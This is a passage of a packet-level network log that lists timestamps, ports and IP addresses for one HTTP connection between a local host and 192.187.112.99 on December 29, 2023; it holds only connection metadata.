Dec 29, 2023 12:06:52.619486094 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619499922 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619633913 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619678020 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619715929 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619729996 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619743109 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619761944 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619786978 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619796038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619808912 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619820118 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619831085 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619842052 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619862080 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619885921 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619911909 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619925022 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619941950 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619954109 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.619956017 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.619980097 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620002985 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620058060 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620100975 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620125055 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620136976 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620146990 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620167017 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620193005 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620243073 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620255947 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620286942 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620296955 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620300055 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620312929 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620342970 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620394945 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620436907 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620448112 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620460033 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620472908 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620495081 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620516062 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620635986 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620649099 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620660067 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620671034 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620683908 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620708942 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620738029 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620749950 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620760918 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620774031 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620784044 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620795012 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620826960 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.620933056 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620945930 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.620976925 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621001005 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621014118 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621031046 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621043921 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621046066 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621068954 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621090889 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621121883 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621140003 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621153116 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621164083 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621164083 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621184111 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621200085 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621225119 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621268988 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621268988 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621284008 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621295929 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621311903 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621326923 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621400118 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621440887 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621469021 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621483088 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621494055 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621514082 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621540070 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621609926 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621656895 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621658087 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621669054 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621685982 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621694088 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621710062 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621726036 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621742010 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621753931 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621786118 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621788025 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621793985 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621800900 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621820927 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621834040 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.621961117 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621973991 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621984959 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.621995926 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622005939 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622030020 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622101068 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622113943 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622138977 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622158051 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622167110 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622173071 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622198105 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622206926 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622243881 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622256994 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622281075 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622296095 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622318029 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622332096 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622355938 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622369051 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622479916 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622493029 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622503996 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622514963 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622539997 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622539997 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622558117 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622580051 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622613907 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622615099 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622642994 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622653008 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622657061 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622679949 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622693062 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622850895 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622862101 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622873068 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622884035 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622884989 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622896910 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622904062 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622925997 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622950077 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.622961998 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622976065 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622986078 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.622998953 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623008966 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623028994 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623038054 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623043060 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623066902 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623080969 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623086929 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623100042 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623125076 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623142958 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623169899 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623182058 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623208046 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623225927 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623280048 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623291969 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623303890 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623315096 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623317957 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623337030 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623354912 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623423100 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623459101 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623488903 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623501062 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623512030 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623526096 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623537064 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623559952 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623625994 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623639107 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.623663902 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.623678923 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.748712063 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748739004 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748780966 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748795033 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748807907 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748847008 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748850107 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.748903990 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748905897 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.748917103 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748928070 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748939037 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748945951 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.748971939 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.748979092 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748991013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.748999119 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749002934 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749015093 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749022007 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749037981 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749049902 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749059916 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749063969 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749077082 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749088049 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749094963 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749100924 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749116898 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749273062 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749315023 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749350071 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749363899 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749375105 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749387026 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749392033 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749409914 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749440908 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749464035 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749475956 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749489069 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749505043 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749516964 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749537945 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749540091 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749588966 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749605894 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749629974 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749643087 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749648094 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749660015 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749684095 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749738932 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749779940 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749846935 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749860048 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749870062 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749881983 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749891043 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749893904 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.749917030 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.749928951 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750122070 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750169992 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750205994 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750243902 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750274897 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750287056 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750297070 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750309944 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750322104 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750320911 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750336885 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750349998 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750355959 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750363111 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750364065 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750376940 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750396013 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750422001 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750423908 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750436068 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750447989 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750463009 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750495911 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750516891 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750530005 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750555038 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750579119 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750600100 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750612974 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750623941 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750636101 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750643969 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750663996 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750693083 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750694036 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750705957 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750718117 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750730038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750731945 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750742912 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750751972 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750755072 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750772953 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750790119 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750806093 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750824928 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750926018 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750937939 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750948906 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750960112 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750967026 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.750971079 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750983000 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750993967 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.750998974 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751009941 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751019955 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751023054 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751034975 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751041889 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751048088 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751066923 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751092911 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751163006 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751177073 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751188040 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751199961 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751204014 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751213074 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751224041 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751229048 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751257896 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751267910 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751348019 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751359940 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751370907 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751382113 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751384974 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751394987 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751405954 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751406908 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751418114 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751430988 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751437902 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751442909 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751457930 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751482010 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751497030 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751539946 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751574993 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751588106 CET	80	49729	192.187.112.99	192.168.2.4
